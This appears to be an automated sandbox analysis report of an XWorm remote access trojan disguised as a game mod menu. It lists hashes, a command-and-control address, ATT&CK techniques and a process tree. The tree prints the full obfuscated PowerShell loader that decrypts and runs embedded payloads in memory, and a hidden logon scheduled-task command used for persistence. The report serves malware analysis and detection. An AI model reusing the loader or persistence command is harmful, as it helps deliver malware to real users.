xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
90s
max time network
146s
platform
windows11-21h2_x64
resource
win11-20240426-en
resource tags

arch:x64arch:x86image:win11-20240426-enlocale:en-usos:windows11-21h2-x64system
submitted
14/05/2024, 11:22

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General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral4/memory/1664-72-0x0000000007610000-0x000000000761E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	1664	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3268	powershell.exe
1432	powershell.exe
1664	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3938118698-2964058152-2337880935-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3268	powershell.exe
3268	powershell.exe
1432	powershell.exe
1432	powershell.exe
1664	powershell.exe
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3268	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe
Token: 36	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe
Token: 36	1432	powershell.exe
Token: SeIncreaseQuotaPrivilege	1432	powershell.exe
Token: SeSecurityPrivilege	1432	powershell.exe
Token: SeTakeOwnershipPrivilege	1432	powershell.exe
Token: SeLoadDriverPrivilege	1432	powershell.exe
Token: SeSystemProfilePrivilege	1432	powershell.exe
Token: SeSystemtimePrivilege	1432	powershell.exe
Token: SeProfSingleProcessPrivilege	1432	powershell.exe
Token: SeIncBasePriorityPrivilege	1432	powershell.exe
Token: SeCreatePagefilePrivilege	1432	powershell.exe
Token: SeBackupPrivilege	1432	powershell.exe
Token: SeRestorePrivilege	1432	powershell.exe
Token: SeShutdownPrivilege	1432	powershell.exe
Token: SeDebugPrivilege	1432	powershell.exe
Token: SeSystemEnvironmentPrivilege	1432	powershell.exe
Token: SeRemoteShutdownPrivilege	1432	powershell.exe
Token: SeUndockPrivilege	1432	powershell.exe
Token: SeManageVolumePrivilege	1432	powershell.exe
Token: 33	1432	powershell.exe
Token: 34	1432	powershell.exe
Token: 35	1432	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3880 wrote to memory of 2260	3880	kiddionsmodmenu.exe	79
PID 3880 wrote to memory of 2260	3880	kiddionsmodmenu.exe	79
PID 3880 wrote to memory of 2260	3880	kiddionsmodmenu.exe	79
PID 2260 wrote to memory of 4772	2260	cmd.exe	84
PID 2260 wrote to memory of 4772	2260	cmd.exe	84
PID 2260 wrote to memory of 4772	2260	cmd.exe	84
PID 2260 wrote to memory of 3268	2260	cmd.exe	85
PID 2260 wrote to memory of 3268	2260	cmd.exe	85
PID 2260 wrote to memory of 3268	2260	cmd.exe	85
PID 3268 wrote to memory of 1432	3268	powershell.exe	87
PID 3268 wrote to memory of 1432	3268	powershell.exe	87
PID 3268 wrote to memory of 1432	3268	powershell.exe	87
PID 3268 wrote to memory of 4464	3268	powershell.exe	90
PID 3268 wrote to memory of 4464	3268	powershell.exe	90
PID 3268 wrote to memory of 4464	3268	powershell.exe	90
PID 4464 wrote to memory of 784	4464	WScript.exe	91
PID 4464 wrote to memory of 784	4464	WScript.exe	91
PID 4464 wrote to memory of 784	4464	WScript.exe	91
PID 784 wrote to memory of 3420	784	cmd.exe	93
PID 784 wrote to memory of 3420	784	cmd.exe	93
PID 784 wrote to memory of 3420	784	cmd.exe	93
PID 784 wrote to memory of 1664	784	cmd.exe	94
PID 784 wrote to memory of 1664	784	cmd.exe	94
PID 784 wrote to memory of 1664	784	cmd.exe	94

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3880
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS42F4.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS42F4.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:4772
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3268
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_328_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_328.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1432
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_328.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4464
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_328.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:784
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_328.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:3420
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1664

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5dc9a9599fb11ee70f9164d8fea15abf

SHA1
85faf41a206f3fa8b469609333558cf817df2cda

SHA256
3f033142ed64a5d1e1e19d11a710e22a32827e98922769497ed6bd6e452e44de

SHA512
499407006c53a5f8e5b2b00dab734613762e66a9080504ab50d21e4c8a32b75d7308ccaa0cecfbeb7058044448a40912715da1f02ec72994596d567b515dcfca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
18KB

MD5
a44b847e94307dc2ebf112c8732e8746

SHA1
5df2de859b60f67601552c76a1afe6535715fef1

SHA256
861dd49b26273b0228469e39deca0ade21a02b253d6253d8f6a7a0c721d73ae0

SHA512
df925f9137c3ee2eda5ce13db00f59b9a115ee123dd1fb3ad2170fabe8d62892450df558a6217004048a35d1241276b55277b61e9448280cddf064bf718acc8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS42F4.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zadjtig0.ksh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_328.vbs

Filesize
115B

MD5
b4df27093aa3f1135430d45eb386d3f3

SHA1
2e50d4214fe5f25c6c75b92ab7cdf7e9ebe7484f

SHA256
6bf6da47993ec493518781f1de439ca18460ba27acabbbcdbd2a377f0f039518

SHA512
bbdc81868f1393307c9ad14f63a5cf2890d41940d25cdd2724c2ea7dc1e88f7ce223eded9f74fd46c0ebc2c50e07dcfb3c2d7e47febbde12e2009df37bd965db

Download Submit
memory/1432-50-0x0000000007B30000-0x0000000007BD4000-memory.dmp

Filesize
656KB

Download
memory/1432-53-0x0000000007EB0000-0x0000000007EC1000-memory.dmp

Filesize
68KB

Download
memory/1432-52-0x0000000007F20000-0x0000000007FB6000-memory.dmp

Filesize
600KB

Download
memory/1432-51-0x0000000007D10000-0x0000000007D1A000-memory.dmp

Filesize
40KB

Download
memory/1432-39-0x0000000006F00000-0x0000000006F34000-memory.dmp

Filesize
208KB

Download
memory/1432-40-0x000000006FE00000-0x000000006FE4C000-memory.dmp

Filesize
304KB

Download
memory/1432-49-0x0000000007B10000-0x0000000007B2E000-memory.dmp

Filesize
120KB

Download
memory/1664-73-0x00000000076F0000-0x000000000778C000-memory.dmp

Filesize
624KB

Download
memory/1664-72-0x0000000007610000-0x000000000761E000-memory.dmp

Filesize
56KB

Download
memory/1664-76-0x0000000008850000-0x00000000088E2000-memory.dmp

Filesize
584KB

Download
memory/3268-21-0x0000000005720000-0x0000000005A77000-memory.dmp

Filesize
3.3MB

Download
memory/3268-12-0x00000000056B0000-0x0000000005716000-memory.dmp

Filesize
408KB

Download
memory/3268-28-0x0000000006FF0000-0x000000000700E000-memory.dmp

Filesize
120KB

Download
memory/3268-29-0x0000000007C40000-0x00000000081E6000-memory.dmp

Filesize
5.6MB

Download
memory/3268-25-0x00000000075C0000-0x0000000007C3A000-memory.dmp

Filesize
6.5MB

Download
memory/3268-26-0x0000000006F90000-0x0000000006FAA000-memory.dmp

Filesize
104KB

Download
memory/3268-24-0x0000000006DA0000-0x0000000006DE6000-memory.dmp

Filesize
280KB

Download
memory/3268-23-0x0000000005C40000-0x0000000005C8C000-memory.dmp

Filesize
304KB

Download
memory/3268-22-0x0000000005BF0000-0x0000000005C0E000-memory.dmp

Filesize
120KB

Download
memory/3268-27-0x0000000006FD0000-0x0000000006FD8000-memory.dmp

Filesize
32KB

Download
memory/3268-11-0x0000000005640000-0x00000000056A6000-memory.dmp

Filesize
408KB

Download
memory/3268-10-0x0000000004E60000-0x0000000004E82000-memory.dmp

Filesize
136KB

Download
memory/3268-7-0x0000000073450000-0x0000000073C01000-memory.dmp

Filesize
7.7MB

Download
memory/3268-9-0x0000000073450000-0x0000000073C01000-memory.dmp

Filesize
7.7MB

Download
memory/3268-8-0x0000000004F20000-0x000000000554A000-memory.dmp

Filesize
6.2MB

Download
memory/3268-6-0x0000000002820000-0x0000000002856000-memory.dmp

Filesize
216KB

Download
memory/3268-74-0x0000000073450000-0x0000000073C01000-memory.dmp

Filesize
7.7MB

Download
memory/3268-5-0x000000007345E000-0x000000007345F000-memory.dmp

Filesize
4KB

Download